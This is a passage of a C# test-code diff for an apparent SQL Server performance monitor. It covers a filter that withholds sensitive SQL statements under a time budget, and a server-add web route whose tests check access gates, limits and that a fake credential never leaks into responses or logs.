+        Assert.Matches(prefilter!, text);
+        Assert.Equal(SensitiveStatements.Verdict.Named, SensitiveStatements.CreateJudge(SensitiveStatements.Pattern, timeout, prefilter: false)(text));
+    }
+
+    // ---- JudgeBudget -------------------------------------------------------------------------------------
+
+    [Fact]
+    public void ABudgetStopsRunningTheJudgeOnceSpent_AndCountsTheRestUnjudged()
+    {
+        // A fake clock, not a sleep: each judge call advances it 30 ms, so a 100 ms budget is spent after
+        // exactly four calls (0, 30, 60 and 90 ms elapsed all leave it unspent; 120 ms spends it) (#5320).
+        var calls = 0;
+        var now = TimeSpan.Zero;
+        var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromMilliseconds(100), _ =>
+        {
+            calls++;
+            now += TimeSpan.FromMilliseconds(30);
+            return SensitiveStatements.Verdict.Clean;
+        }, clock: () => now);
+
+        var verdicts = Enumerable.Range(0, 20).Select(i => budget.Judge("v" + i.ToString(CultureInfo.InvariantCulture))).ToList();
+
+        Assert.True(budget.Spent);
+        Assert.Equal(4, calls);
+        Assert.Equal(20 - calls, budget.Unjudged);
+        Assert.All(verdicts.Skip(calls), v => Assert.Equal(SensitiveStatements.Verdict.Named, v));
+        Assert.All(verdicts.Take(calls), v => Assert.Equal(SensitiveStatements.Verdict.Clean, v));
+        Assert.Equal(TimeSpan.FromMilliseconds(120), budget.Elapsed);
+
+        var before = calls;
+        budget.Judge("one more");
+        Assert.Equal(before, calls);
+        Assert.Equal(20 - calls + 1, budget.Unjudged);
+    }
+
+    [Fact]
+    public void ABudgetCountsNamedAndTimedOutVerdicts()
+    {
+        var verdicts = new Queue<SensitiveStatements.Verdict>(new[]
+        {
+            SensitiveStatements.Verdict.Named,
+            SensitiveStatements.Verdict.TimedOut,
+            SensitiveStatements.Verdict.Clean,
+        });
+        var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(30), _ => verdicts.Dequeue());
+
+        budget.Judge("a");
+        budget.Judge("b");
+        budget.Judge("c");
+
+        Assert.Equal(1, budget.Named);
+        Assert.Equal(1, budget.TimedOut);
+        Assert.Equal(0, budget.Unjudged);
+        Assert.False(budget.Spent);
+    }
+
+    [Fact]
+    public void AddElapsedChargesTheBudget()
+    {
+        var ran = false;
+        var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(1), _ =>
+        {
+            ran = true;
+            return SensitiveStatements.Verdict.Clean;
+        });
+
+        budget.AddElapsed(TimeSpan.FromSeconds(1));
+
+        Assert.True(budget.Spent);
+        Assert.Equal(SensitiveStatements.Verdict.Named, budget.Judge("x"));
+        Assert.False(ran);
+        Assert.Equal(1, budget.Unjudged);
+    }
+
+    [Fact]
+    public void AJudgeThatThrowsIsNamed()
+    {
+        var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(1), _ => throw new InvalidOperationException("x"));
+
+        Assert.Equal(SensitiveStatements.Verdict.Named, budget.Judge("x"));
+        Assert.Equal(1, budget.Named);
+    }
+
+    /// <summary>The build of the shared judge (the regex compile, the pre-check and a warm-up match) is not
+    /// charged to a budget (#5320 L3): the first call is charged its match time only. The fake clock moves
+    /// 100 ms inside the build and 1 ms inside the match.</summary>
+    [Fact]
+    public void TheFirstCallOfABudgetIsChargedItsMatchTimeNotTheBuild()
+    {
+        var now = TimeSpan.Zero;
+        var built = 0;
+        var shared = new Lazy<Func<string, SensitiveStatements.Verdict>>(() =>
+        {
+            built++;
+            now += TimeSpan.FromMilliseconds(100);
+            return _ =>
+            {
+                now += TimeSpan.FromMilliseconds(1);
+                return SensitiveStatements.Verdict.Clean;
+            };
+        });
+        var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(1), judge: null, clock: () => now, shared: shared);
+
+        Assert.Equal(SensitiveStatements.Verdict.Clean, budget.Judge("SELECT 1"));
+        Assert.Equal(SensitiveStatements.Verdict.Clean, budget.Judge("SELECT 2"));
+
+        Assert.Equal(1, built);
+        Assert.Equal(TimeSpan.FromMilliseconds(2), budget.Elapsed);
+        Assert.False(budget.Spent);
+    }
+
+    [Fact]
+    public void ABudgetWithoutAFakeJudgeUsesTheSharedPattern()
+    {
+        var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(5));
+
+        Assert.Equal(SensitiveStatements.Verdict.Named, budget.Judge("CREATE LOGIN [a] FROM WINDOWS"));
+        Assert.Equal(SensitiveStatements.Verdict.Clean, budget.Judge("SELECT 1"));
+    }
+
+    // ---- Budget growth and memo (#5477) ------------------------------------------------------------------
+
+    private const int Megabyte = 1_048_576;
+
+    /// <summary>An XML document of exactly <paramref name="length"/> characters that holds one plain statement.</summary>
+    private static string PaddedXml(int length, char pad = 'x') =>
+        "<a>" + new string(pad, length - "<a></a>".Length) + "</a>";
+
+    [Fact]
+    public void ABudgetGrowsHalfASecondPerMegabyteOfEachDistinctDocument_UpToTheCap()
+    {
+        var floor = TimeSpan.FromMilliseconds(1500);
+
+        var one = new SensitiveStatements.JudgeBudget(floor);
+        one.Earn(4 * Megabyte);
+        Assert.Equal(TimeSpan.FromSeconds(3.5), one.Limit);
+
+        var three = new SensitiveStatements.JudgeBudget(floor);
+        for (var i = 0; i < 3; i++)
+        {
+            three.Earn(4 * Megabyte);
+        }
+
+        Assert.Equal(TimeSpan.FromSeconds(7.5), three.Limit);
+
+        var half = new SensitiveStatements.JudgeBudget(floor);
+        half.Earn(Megabyte / 2);
+        Assert.Equal(TimeSpan.FromSeconds(1.75), half.Limit);
+
+        var huge = new SensitiveStatements.JudgeBudget(floor);
+        huge.Earn(40 * Megabyte);
+        Assert.Equal(TimeSpan.FromSeconds(10), huge.Limit);
+
+        // A floor above the cap (the 15 s session budget) is never cut down.
+        var session = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(15));
+        session.Earn(40 * Megabyte);
+        Assert.Equal(TimeSpan.FromSeconds(15), session.Limit);
+    }
+
+    [Fact]
+    public void TheEntryPointsEarnForADocumentOnce_AndAMemoHitEarnsNothing()
+    {
+        StatementFilterWarmUp.Ensure();
+        var calls = 0;
+        var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(1.5), _ =>
+        {
+            calls++;
+            return SensitiveStatements.Verdict.Clean;
+        });
+        var doc = PaddedXml(Megabyte);
+
+        var first = SensitiveStatements.Xml(doc, budget);
+        var callsAfterFirst = calls;
+        Assert.Same(doc, first);
+        Assert.Equal(TimeSpan.FromSeconds(2), budget.Limit);
+        Assert.Equal(1, budget.DocumentPasses);
+
+        // The same instance, then an equal copy: both are hits that run no judge and earn nothing, and the copy
+        // comes back as the caller's own instance, not the first one.
+        Assert.Same(doc, SensitiveStatements.Xml(doc, budget));
+        var copy = PaddedXml(Megabyte);
+        Assert.NotSame(doc, copy);
+        Assert.Same(copy, SensitiveStatements.Xml(copy, budget));
+        Assert.Equal(callsAfterFirst, calls);
+        Assert.Equal(TimeSpan.FromSeconds(2), budget.Limit);
+        Assert.Equal(1, budget.DocumentPasses);
+
+        // A different document of the same size earns again.
+        SensitiveStatements.Xml(PaddedXml(Megabyte, 'y'), budget);
+        Assert.Equal(TimeSpan.FromSeconds(2.5), budget.Limit);
+        Assert.Equal(2, budget.DocumentPasses);
+    }
+
+    [Fact]
+    public void TwoEqualStringsUnderOneBudget_EachComesBackAsItsOwnInstance_WhenNothingIsNamed()
+    {
+        var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(1.5), _ => SensitiveStatements.Verdict.Clean);
+        var first = "{\"k\":\"v\"}";
+        var second = new string(first.AsSpan());
+        Assert.NotSame(first, second);
+
+        Assert.Same(first, SensitiveStatements.Json(first, budget));
+        Assert.Same(second, SensitiveStatements.Json(second, budget));
+        Assert.Equal(1, budget.DocumentPasses);
+    }
+
+    [Fact]
+    public void ACappedXmlCall_EarnsOnlyForTheTextItCanJudge()
+    {
+        StatementFilterWarmUp.Ensure();
+        var floor = TimeSpan.FromSeconds(1.5);
+        var budget = new SensitiveStatements.JudgeBudget(floor, _ => SensitiveStatements.Verdict.Clean);
+
+        SensitiveStatements.Xml(PaddedXml(4 * Megabyte), budget, 1000);
+
+        // Well under a millisecond for about a thousand characters, not the two seconds a 4 MB document earns in full.
+        Assert.InRange(budget.Limit, floor, floor + TimeSpan.FromMilliseconds(5));
+    }
+
+    [Fact]
+    public void AMemoHitReturnsTheWithheldMarkerTheFirstCallReturned()
+    {
+        var calls = 0;
+        var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(1.5), _ =>
+        {
+            calls++;
+            return SensitiveStatements.Verdict.Named;
+        });
+        var doc = PaddedXml(1000);
+
+        var first = SensitiveStatements.Xml(doc, budget);
+        Assert.Contains(SensitiveStatements.PlaceholderText, first, StringComparison.Ordinal);
+        var callsAfterFirst = calls;
+        Assert.Same(first, SensitiveStatements.Xml(doc, budget));
+        Assert.Equal(callsAfterFirst, calls);
+
+        var text = new string('t', 500);
+        Assert.Equal(SensitiveStatements.PlaceholderText, SensitiveStatements.TextUnder(budget, text));
+        var callsAfterText = calls;
+        Assert.Equal(SensitiveStatements.PlaceholderText, SensitiveStatements.TextUnder(budget, text));
+        Assert.Equal(callsAfterText, calls);
+    }
+
+    [Fact]
+    public void AJsonResultEarnsOnceForItsWholeLength_AndTheValuesInsideEarnNothing()
+    {
+        StatementFilterWarmUp.Ensure();
+        var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(1.5), _ => SensitiveStatements.Verdict.Clean);
+        var json = "{\"plan\":\"" + new string('x', Megabyte) + "\",\"other\":\"" + new string('y', Megabyte) + "\"}";
+
+        Assert.Same(json, SensitiveStatements.Json(json, budget));
+
+        var expected = new SensitiveStatements.JudgeBudget(TimeSpan.FromSeconds(1.5));
+        expected.Earn(json.Length);
+        Assert.Equal(expected.Limit, budget.Limit);
+        Assert.Equal(1, budget.DocumentPasses);
+
+        Assert.Same(json, SensitiveStatements.Json(json, budget));
+        Assert.Equal(expected.Limit, budget.Limit);
+        Assert.Equal(1, budget.DocumentPasses);
+    }
+
+    // ---- Measurements (recorded in the test diagnostics on every run) -------------------------------------
+
+    [Fact]
+    public void Measurements_AreRecordedAndWithinTheBounds()
+    {
+        StatementFilterWarmUp.Ensure();
+        SensitiveStatements.Judge("warm the regex up");
+
+        // Throughput over 10,000 generated ordinary statements, 200-4,000 chars each.
+        var fragments = new[]
+        {
+            "SELECT col_a, col_b, COUNT(*) FROM dbo.Orders AS o JOIN dbo.Customers AS c ON c.id = o.customer_id ",
+            "WHERE o.created_at >= @from AND o.status IN (1, 2, 3) AND c.region <> N'north' ",
+            "GROUP BY col_a, col_b HAVING COUNT(*) > 10 ORDER BY 3 DESC; ",
+            "UPDATE dbo.Inventory SET qty = qty - @n, touched = SYSUTCDATETIME() WHERE sku = @sku; ",
+            "INSERT INTO dbo.AuditTrail (kind, detail) VALUES (N'order', N'shipped'); ",
+            "/* a block comment that explains the next line */ -- and a line comment ",
+        };
+        var random = new Random(4348);
+        var statements = new string[10_000];
+        long totalChars = 0;
+        for (var i = 0; i < statements.Length; i++)
+        {
+            var length = random.Next(200, 4001);
+            var builder = new StringBuilder(length + 120);
+            while (builder.Length < length)
+            {
+                builder.Append(fragments[random.Next(fragments.Length)]);
+            }
+
+            statements[i] = builder.ToString(0, length);
+            totalChars += length;
+        }
+
+        var watch = Stopwatch.StartNew();
+        var named = 0;
+        foreach (var statement in statements)
+        {
+            if (SensitiveStatements.Judge(statement) != SensitiveStatements.Verdict.Clean)
+            {
+                named++;
+            }
+        }
+
+        watch.Stop();
+        var megabytes = totalChars / 1_048_576.0;
+        Record($"Judge over 10,000 statements: {megabytes:F1} MB in {watch.ElapsedMilliseconds} ms = {megabytes / watch.Elapsed.TotalSeconds:F1} MB/s, named={named}");
+        Assert.Equal(0, named);
+
+        // The 1,000,000-character guard.
+        var unit = "SELECT col_a, col_b FROM dbo.t WHERE c = 1 AND d <> 2 ";
+        var big = string.Concat(Enumerable.Repeat(unit, 1_000_000 / unit.Length + 1)).Substring(0, 1_000_000);
+        watch.Restart();
+        var bigVerdict = SensitiveStatements.Judge(big);
+        watch.Stop();
+        Record($"Judge on 1,000,000 chars: {bigVerdict}, {watch.Elapsed.TotalMilliseconds:F1} ms");
+
+        // The two judge parts and the whole pattern as one regex, on the same 1,000,000 characters (#5320 M1), without
+        // the pre-check and with a timeout that cannot fire, so the numbers are the cost of the matching alone.
+        Assert.True(SensitiveStatements.TrySplitAlternatives(
+            SensitiveStatements.Pattern, SensitiveStatements.JudgeHeadAlternatives, out var headSource, out var tailSource));
+        var longTimeout = TimeSpan.FromSeconds(30);
+        foreach (var (label, source, parts) in new[]
+        {
+            ("part 1 (A1-T9)", headSource, 0),
+            ("part 2 (T10)", tailSource, 0),
+            ("both parts", SensitiveStatements.Pattern, SensitiveStatements.JudgeHeadAlternatives),
+            ("whole pattern as one regex", SensitiveStatements.Pattern, 0),
+        })
+        {
+            var judge = SensitiveStatements.CreateJudge(source, longTimeout, prefilter: false, headAlternatives: parts);
+            judge(big);
+            var bestMs = double.MaxValue;
+            for (var attempt = 0; attempt < 3; attempt++)
+            {
+                watch.Restart();
+                judge(big);
+                watch.Stop();
+                bestMs = Math.Min(bestMs, watch.Elapsed.TotalMilliseconds);
+            }
+
+            Record($"Judge on 1,000,000 chars, {label}, no pre-check: best of 3 {bestMs:F1} ms");
+        }
+
+        // Each adversarial string.
+        foreach (var text in SensitiveStatementCorpus.Adversarial)
+        {
+            watch.Restart();
+            var verdict = SensitiveStatements.Judge(text);
+            watch.Stop();
+            Record($"Judge on adversarial '{text.Substring(0, 8)}...': {verdict}, {watch.Elapsed.TotalMilliseconds:F1} ms");
+        }
+
+        // The worst overrun past the limit with a 250 ms judge (read-time limit 1.5 s, and a limit that is not
+        // a multiple of the judge's time).
+        foreach (var limitMs in new[] { 1500, 1400, 1260 })
+        {
+            var budget = new SensitiveStatements.JudgeBudget(TimeSpan.FromMilliseconds(limitMs), _ =>
+            {
+                Thread.Sleep(250);
+                return SensitiveStatements.Verdict.TimedOut;
+            });
+            watch.Restart();
+            while (!budget.Spent)
+            {
+                budget.Judge("x");
+            }
+
+            watch.Stop();
+            var overrun = budget.Elapsed - TimeSpan.FromMilliseconds(limitMs);
+            Record($"JudgeBudget limit {limitMs} ms, 250 ms judge: stopped at {budget.Elapsed.TotalMilliseconds:F0} ms, overrun {overrun.TotalMilliseconds:F0} ms");
+            Assert.True(overrun < TimeSpan.FromMilliseconds(300), $"overrun {overrun.TotalMilliseconds} ms");
+        }
+    }
+
+    private static void Record(string message) => TestContext.Current.SendDiagnosticMessage(message);
+}
diff --git a/Darling/Darling.Tests/SeparatelyMonitoredListNoteTests.cs b/Darling/Darling.Tests/SeparatelyMonitoredListNoteTests.cs
index a33b969cc2..e89b79f15f 100644
--- a/Darling/Darling.Tests/SeparatelyMonitoredListNoteTests.cs
+++ b/Darling/Darling.Tests/SeparatelyMonitoredListNoteTests.cs
@@ -63,8 +63,8 @@ public void TheWebPanels_DeclareTheNoteKey_AndTheHostsPassTheRegistry()
             var end = js.IndexOf("),", at, StringComparison.Ordinal);
             Assert.Contains("\"separately_monitored_note\"", js.Substring(at, end - at), StringComparison.Ordinal);
         }
-        Assert.Contains("WebSqlTextPreviewLength, registryState, c.RequestAborted)", web, StringComparison.Ordinal);
-        Assert.Contains("as_of: AsOf(c), registryState: registryState, cancellationToken: c.RequestAborted)", web, StringComparison.Ordinal);
+        Assert.Contains("WebSqlTextPreviewLength, registryState, logger, c.RequestAborted)", web, StringComparison.Ordinal);
+        Assert.Contains("as_of: AsOf(c), registryState: registryState, logger: logger, cancellationToken: c.RequestAborted)", web, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -180,7 +180,7 @@ public void TheLockingPanel_CarriesBothNotes_AndTheViewerAndWebHostPassTheirSour
         Assert.Contains("getPath(res.data, desc.noteKey)", panels, StringComparison.Ordinal);
         Assert.Contains("desc.moreNoteKeys", panels, StringComparison.Ordinal);
         var web = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
-        Assert.Contains("Rows(c, \"limit\", 200), registryState, c.RequestAborted)", web, StringComparison.Ordinal);
+        Assert.Contains("Rows(c, \"limit\", 200), registryState, ", web, StringComparison.Ordinal);
         var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "FinOpsTab.Locking.cs");
         Assert.Contains("SeparatelyMonitoredListNoteFor(await _dataService.GetSeparatelyMonitoredAsync(", viewer, StringComparison.Ordinal);
         Assert.Contains("FinOpsSeparatelyMonitoredNote.Visibility", viewer, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/SerialLoopStoreSizeSourceTests.cs b/Darling/Darling.Tests/SerialLoopStoreSizeSourceTests.cs
index 6d6190aba1..2cd04f4b93 100644
--- a/Darling/Darling.Tests/SerialLoopStoreSizeSourceTests.cs
+++ b/Darling/Darling.Tests/SerialLoopStoreSizeSourceTests.cs
@@ -42,13 +42,14 @@ namespace Darling.Tests;
 /// its SQL from another type: it pins the reference in source AND the referent's shipped value at
 /// runtime, so neither a retyped copy nor a changed constant can slip past.</item>
 /// <item><see cref="NoSerialLoopMemberInlinesAStoreScalingRead"/> — total for SQL written INLINE in any of
-/// the ten members. A member that referenced a size-scaling constant declared elsewhere would not match,
+/// the eleven members. A member that referenced a size-scaling constant declared elsewhere would not match,
 /// which is what the tree census below is for.</item>
 /// <item><see cref="PgDatabaseSizeRunsOnlyWhereItsCostHasABudget"/> — total for
 /// <c>pg_database_size</c> anywhere in shipped source, wherever the string lives, so no indirection
 /// evades it. Narrower in function coverage, wider in reach; the two overlap deliberately.</item>
 /// </list></para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class SerialLoopStoreSizeSourceTests
 {
     /// <summary>
@@ -207,7 +208,7 @@ public void TheDiskCheckExecutesTheRecordedSizeConstant()
 
         Assert.Contains("StoreSelfMetrics.LatestStoreSizeSql", code, StringComparison.Ordinal);
 
-        /* And the deadline regime is unchanged — this member is still one of the ten, so the chain
+        /* And the deadline regime is unchanged — this member is still one of the eleven, so the chain
            arithmetic StartupCommandTimeoutTests defends still describes the same population. Asserted here
            too because the fix would look equally "done" if the site had been moved out of the regime
            instead, and that is a different change with a different justification. */
@@ -237,7 +238,7 @@ heap happened to be in. A LIMIT-less version returns every whole-store row ever
     }
 
     /// <summary>
-    /// The category invariant, over the ten members
+    /// The category invariant, over the eleven members
     /// <see cref="ServiceCommandDeadlines.SerialLoopSeconds"/> bounds: none of them may INLINE a read whose
     /// cost scales with the store.
     ///
@@ -266,7 +267,7 @@ public void NoSerialLoopMemberInlinesAStoreScalingRead()
            back empty — or short by a member — would make the assertion below pass by scanning less than it
            claims, which is the failure this file exists to make impossible for the deadline census.
            Asserted as the site TOTAL rather than as a member count, and tied back to the census's own
-           independently-asserted number instead of to a literal: nine members hold the ten commands, so a
+           independently-asserted number instead of to a literal: eleven members hold the twelve commands, so a
            count of members is arithmetic nobody can check by eye. */
         Assert.Equal(StartupCommandTimeoutTests.ExpectedSerialLoopSites, sites);
         Assert.True(members > 0, "the serial-loop member projection came back empty");
diff --git a/Darling/Darling.Tests/ServerAddRouteTests.cs b/Darling/Darling.Tests/ServerAddRouteTests.cs
new file mode 100644
index 0000000000..d5549bb2cd
--- /dev/null
+++ b/Darling/Darling.Tests/ServerAddRouteTests.cs
@@ -0,0 +1,586 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Net.Http;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// <c>POST /api/servers</c> (#4843) through a real host over a store that is never opened: the route's gates,
+/// limits, audit line and credential handling, with the add core stood in by a stub so no database is needed.
+/// The core itself (validation, dedupe, probe, write) is covered by <c>DarlingMcpServerAdminToolsTests</c>, and the
+/// grant it writes under by <c>ServerAddViewerRoleLiveTests</c>. Every test that sends a credential sends a
+/// recognisable fake one and asserts it appears in no response and no log line.
+/// </summary>
+public sealed class ServerAddRouteTests
+{
+    private const string FakeSecret = "Zq9-fake-secret-must-never-appear-7XK";
+
+    private const string AddedAnswer =
+        "{\"requested\":1,\"added\":1,\"skipped\":0,\"collided\":0,\"failed\":0,\"results\":[{\"server\":\"sql01\",\"status\":\"added\",\"detail\":\"Connected\"}]}";
+
+    private sealed class Rig : IAsyncDisposable
+    {
+        public required WebApplication App { get; init; }
+        public required HttpClient Client { get; init; }
+        public required CapturingTestLogger Log { get; init; }
+        public required NpgsqlDataSource Source { get; init; }
+        public required List<string> Bodies { get; init; }
+
+        public async ValueTask DisposeAsync()
+        {
+            Client.Dispose();
+            await App.DisposeAsync();
+            await Source.DisposeAsync();
+        }
+    }
+
+    /// <summary>A host with the route mapped over a stub core. A request's seat comes from its <c>X-Seat</c> header
+    /// (<c>viewer</c> is read-only, <c>admin</c> or absent edits); <paramref name="useWriteGate"/> also runs the
+    /// host's group-level write gate ahead of the route, as the production pipeline does.</summary>
+    private static async Task<Rig> StartAsync(Func<string, Task<string>> core, bool useWriteGate = false, TimeSpan? addTimeout = null)
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        var app = builder.Build();
+        var log = new CapturingTestLogger();
+        var source = NpgsqlDataSource.Create("Host=localhost;Database=never_opened;Username=nobody");
+        var bodies = new List<string>();
+
+        app.Use(async (context, next) =>
+        {
+            var seat = context.Request.Headers["X-Seat"] == "viewer"
+                ? new DarlingWebSeat("bob", false)
+                : new DarlingWebSeat(Uri.UnescapeDataString(context.Request.Headers["X-Principal"].FirstOrDefault() ?? "alice"), true);
+            context.Items[DarlingWebSeat.HttpContextItemKey] = seat;
+            if (useWriteGate && !DarlingWebSeat.IsRequestAllowed(seat, context.Request.Method, context.Request.Path.Value ?? "/"))
+            {
+                context.Response.StatusCode = StatusCodes.Status403Forbidden;
+                return;
+            }
+
+            await next(context);
+        });
+        DarlingWebEndpoints.MapServers(app, source, log, body =>
+        {
+            bodies.Add(body);
+            return core(body);
+        }, addTimeout);
+        await app.StartAsync(TestContext.Current.CancellationToken);
+        return new Rig { App = app, Client = app.GetTestClient(), Log = log, Source = source, Bodies = bodies };
+    }
+
+    private static async Task<(HttpStatusCode Status, string Body)> PostAsync(
+        Rig rig, string body, string mediaType = "application/json", string? seat = null, string? principal = null)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        using var request = new HttpRequestMessage(HttpMethod.Post, "/api/servers")
+        {
+            Content = new StringContent(body, Encoding.UTF8, mediaType),
+        };
+        if (seat is not null)
+        {
+            request.Headers.Add("X-Seat", seat);
+        }
+
+        if (principal is not null)
+        {
+            request.Headers.Add("X-Principal", Uri.EscapeDataString(principal));
+        }
+
+        using var response = await rig.Client.SendAsync(request, ct);
+        return (response.StatusCode, await response.Content.ReadAsStringAsync(ct));
+    }
+
+    /// <summary>Waits for a captured log line that contains <paramref name="fragment"/>. A late audit line is written by
+    /// a thread-pool continuation after the 503 was answered, so a test waits for it and never asserts the instant it
+    /// releases the core.</summary>
+    private static async Task WaitForLogLineAsync(Rig rig, string fragment)
+    {
+        var deadline = DateTime.UtcNow.AddSeconds(10);
+        while (!rig.Log.Lines.Any(l => l.Contains(fragment, StringComparison.Ordinal)))
+        {
+            Assert.True(DateTime.UtcNow < deadline, $"no log line contained \"{fragment}\"; the log held: {rig.Log.Joined}");
+            await Task.Delay(20, TestContext.Current.CancellationToken);
+        }
+    }
+
+    private static string Entries(int count, string password = FakeSecret) =>
+        "[" + string.Join(",", Enumerable.Range(0, count).Select(i =>
+            $"{{\"host\":\"sql{i:D2}\",\"auth\":\"SQL\",\"username\":\"monitor\",\"password\":\"{password}\"}}")) + "]";
+
+    private static void AssertNoSecret(Rig rig, string responseBody)
+    {
+        Assert.DoesNotContain(FakeSecret, responseBody, StringComparison.Ordinal);
+        Assert.DoesNotContain(FakeSecret, rig.Log.Joined, StringComparison.Ordinal);
+    }
+
+    /* ═══════════════════════════ gates ═══════════════════════════ */
+
+    [Theory]
+    [InlineData("text/plain")]
+    [InlineData("application/x-www-form-urlencoded")]
+    [InlineData("multipart/form-data")]
+    public async Task ANonJsonContentType_Answers415_AndReachesNoCore(string mediaType)
+    {
+        await using var rig = await StartAsync(_ => Task.FromResult(AddedAnswer));
+        var (status, body) = await PostAsync(rig, Entries(1), mediaType);
+        Assert.Equal(HttpStatusCode.UnsupportedMediaType, status);
+        Assert.Empty(rig.Bodies);
+        AssertNoSecret(rig, body);
+    }
+
+    [Fact]
+    public async Task AReadOnlySeat_Answers403_AndReachesNoCore_WithOrWithoutTheHostWriteGate()
+    {
+        foreach (var gate in new[] { false, true })
+        {
+            await using var rig = await StartAsync(_ => Task.FromResult(AddedAnswer), useWriteGate: gate);
+            var (status, body) = await PostAsync(rig, Entries(1), seat: "viewer");
+            Assert.Equal(HttpStatusCode.Forbidden, status);
+            Assert.Empty(rig.Bodies);
+            AssertNoSecret(rig, body);
+        }
+    }
+
+    [Fact]
+    public async Task AnEditingSeat_ReachesTheCore_WithTheBodyUnchanged_AndGetsTheCoresAnswer()
+    {
+        await using var rig = await StartAsync(_ => Task.FromResult(AddedAnswer), useWriteGate: true);
+        var request = Entries(1);
+        var (status, body) = await PostAsync(rig, request);
+        Assert.Equal(HttpStatusCode.OK, status);
+        Assert.Equal(request, Assert.Single(rig.Bodies));
+        Assert.Equal("added", JsonNode.Parse(body)!["results"]![0]!["status"]!.GetValue<string>());
+        AssertNoSecret(rig, body);
+    }
+
+    /* ═══════════════════════════ limits ═══════════════════════════ */
+
+    [Fact]
+    public async Task TwentyEntriesPass_AndTwentyOneAreRefused400_BeforeTheCore()
+    {
+        await using var rig = await StartAsync(_ => Task.FromResult(AddedAnswer));
+
+        Assert.Equal(20, DarlingWebEndpoints.MaxServersPerAddRequest);
+        var ok = await PostAsync(rig, Entries(20));
+        Assert.Equal(HttpStatusCode.OK, ok.Status);
+        Assert.Single(rig.Bodies);
+
+        var tooMany = await PostAsync(rig, Entries(21));
+        Assert.Equal(HttpStatusCode.BadRequest, tooMany.Status);
+        Assert.Single(rig.Bodies);
+        AssertNoSecret(rig, tooMany.Body);
+        Assert.Contains("20", tooMany.Body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ASecondAdd_WhileOneIsRunning_Answers429_AndTheFirstStillCompletes()
+    {
+        var entered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        await using var rig = await StartAsync(async _ =>
+        {
+            entered.TrySetResult();
+            await release.Task;
+            return AddedAnswer;
+        });
+
+        var first = PostAsync(rig, Entries(1));
+        await entered.Task.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken);
+
+        var second = await PostAsync(rig, Entries(1));
+        Assert.Equal((HttpStatusCode)429, second.Status);
+        AssertNoSecret(rig, second.Body);
+
+        release.SetResult();
+        Assert.Equal(HttpStatusCode.OK, (await first).Status);
+
+        /* The gate is released: a later add runs. */
+        Assert.Equal(HttpStatusCode.OK, (await PostAsync(rig, Entries(1))).Status);
+    }
+
+    [Fact]
+    public async Task TheInFlightGate_IsReleased_WhenTheCoreFaults()
+    {
+        var calls = 0;
+        await using var rig = await StartAsync(_ => ++calls == 1
+            ? throw new InvalidOperationException("boom " + FakeSecret)
+            : Task.FromResult(AddedAnswer));
+
+        var faulted = await PostAsync(rig, Entries(1));
+        Assert.Equal(HttpStatusCode.InternalServerError, faulted.Status);
+        AssertNoSecret(rig, faulted.Body);
+        Assert.Equal(HttpStatusCode.OK, (await PostAsync(rig, Entries(1))).Status);
+    }
+
+    [Fact]
+    public async Task AnOversizedBody_Answers400_WithoutTheBody()
+    {
+        await using var rig = await StartAsync(_ => Task.FromResult(AddedAnswer));
+        var huge = "[{\"host\":\"h\",\"password\":\"" + FakeSecret + new string('x', DarlingWebEndpoints.MaxServerAddBodyBytes) + "\"}]";
+        var (status, body) = await PostAsync(rig, huge);
+        Assert.Equal(HttpStatusCode.BadRequest, status);
+        Assert.Empty(rig.Bodies);
+        AssertNoSecret(rig, body);
+    }
+
+    /* ═══════════════════════════ credentials ═══════════════════════════ */
+
+    [Theory]
+    [InlineData("[{\"host\":\"h\",\"password\":\"" + FakeSecret + "\"")]           // truncated
+    [InlineData("[{\"host\":\"h\",\"password\":\"" + FakeSecret + "\"} nope]")]     // junk after a secret
+    [InlineData("{\"host\":\"h\",\"password\":\"" + FakeSecret + "\"}")]            // an object, not an array
+    [InlineData("[\"" + FakeSecret + "\"]")]                                         // an entry that is not an object
+    [InlineData("[{\"host\":\"h\",\"password\":\"" + FakeSecret + "\",\"password\":\"" + FakeSecret + "\"}]")] // duplicate field
+    [InlineData("[]")]
+    public async Task EveryMalformedBody_Answers400_ThatEchoesNothingOfTheBody(string malformed)
+    {
+        await using var rig = await StartAsync(_ => Task.FromResult(AddedAnswer));
+        var (status, body) = await PostAsync(rig, malformed);
+        Assert.Equal(HttpStatusCode.BadRequest, status);
